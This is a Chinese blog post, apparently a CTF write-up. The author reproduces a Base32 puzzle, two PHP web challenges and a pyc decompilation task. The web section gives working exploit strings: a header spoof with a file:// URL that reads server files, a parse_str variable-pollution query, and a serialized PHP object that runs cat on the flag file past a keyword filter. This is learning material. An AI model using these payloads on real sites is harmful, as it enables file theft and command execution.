非常的痛心,我是真的菜,比赛结束以后观看了大佬的wp,把其中几道web题和杂项题复现一下
Misc - 签到
MZWGCZ33GM2TEMRSMQZTALJUGM4WKLJUMFTGELJZGFTDILLBMJSWEYZXGNTGKMBVMN6Q
Base32 解码
Flag:flag{35222d30-439e-4afb-91f4-abebc73fe05c}
这道是我唯一解出来的题,真的是菜
web1-what are you doing
打开题目提示访问 robots.txt
两个文件,一个 source.php ,一个 flag.php
打开 source.php,提示POST admin
POSTadmin=1
only 127.0.0.1 can get the flag!
没有找到 SSRF 的地方,应该就是改 Headers 头了
X-Forwarded-For/X-Client-IP/X-Real-IP三个都试了一下,发现认的是X-Client-IP
带 HeaderX-Client-IP=127.0.0.1,提示
you need post url:http://www.ichunqiu.com"
做到这里我就不会做了,当时直接post http://www.ichunqiu.com,并没有什么东西,
比赛结束以后,看到这篇博客
https://blog.csdn.net/qq_33020901/article/details/78871240
才知道怎么做
这里应该就是php中libcurl中存在的问题,利用file协议可以任意文件读取,
所以最后构造url=file://www.ichunqiu.com/../var/www/html/flag.php提交就可以获得flag
Web2 - can you hack me
做不出来的题都让我痛心,猜是源码泄露,自己手动尝试了好多,也没找到源码,下次一定要准备一个靠谱的源码泄露的目录扫描工具.......................
源码泄露是一个vim备份(以前从来不知道),就是index.php.swp
源码如上,看到come类和类内system函数,猜测应该会有反序列化漏洞导致命令执行,
主程序先检查四个变量是否为特定的变量。
$first可以直接从$_GET中定义为doller通过第一个检查
然后可以看到parse_str函数,没有传第二个参数,因此会污染变量域,所以我们剩下的三个变量都可以通过他来写入
/?first=doller&a=var=give%26bbb=me%26ccc=flag
接下来是反序列化,在__wakeup的时候会将参数过一遍waf,然后flag可以通过双写来绕过字符串替换,空格用${IPS}然过
生成代码如下:
$foo=newcome("echo",array("`cat\${IFS}/flaflagg`"));
var_dump(serialize($foo));
序列化
O:4:"come":2:{s:12:"comemethod";s:4:"echo";s:10:"comeargs";a:1:{i:0;s:20:"`cat${IFS}/flaflagg`";}}
come=O:4:"come":2:{s:12:" come method";s:4:"echo";s:10:" come args";a:1:{i:0;s:20:"`cat${IFS}/fflaglag`";}}
得到flag
Misc - easy_py
这是一个我做了很久,思路清晰,但因为最关键的步骤不会操作导致解不出来的题,也算是这次比赛收获最大的知识点
刚开始运行了一下,发现应该是python2下的,准备反编译,用uncompyle反编译不成功,百度了一下(大佬的wp里写用uncompyle2 反编译easy_py.pyc会报错tuple index out of range,我当时没注意,又重新反编译了一下,还真TM有,我真是个垃圾,,,以后一定要仔细看报错,)
https://blog.csdn.net/ncafei/article/details/60466080
这篇博客讲到一点反编译的方法,尝试一下也没有成功,最后搜索到可能是因为pyc里加了一些多余的数据,导致不能反编译
所以最关键的是对pyc的cpython字节码分析,找出那段,比赛时找到一篇博客
https://ctf-wiki.github.io/ctf-wiki/misc/other/pyc/
已经下载了pycdc工具,奈何我不会用,最后停在这里
(大佬是这么干的,他根据上面的报错推断应该是 const 元组越界了,找到pythonopcode对照,将easy_py.pyc文件里的16进制2333改为0000),然后我看到另一个大佬利用pycdc反汇编分析以后的结果,
wp图片先放在这里,,反汇编分析对照代码
https://docs.python.org/2.7/library/dis.html#python-bytecode-instructions 参考这里
至于怎么分析,等我晚上学一下pycdc,明天重新复现一下这道题,再把我的操作写一下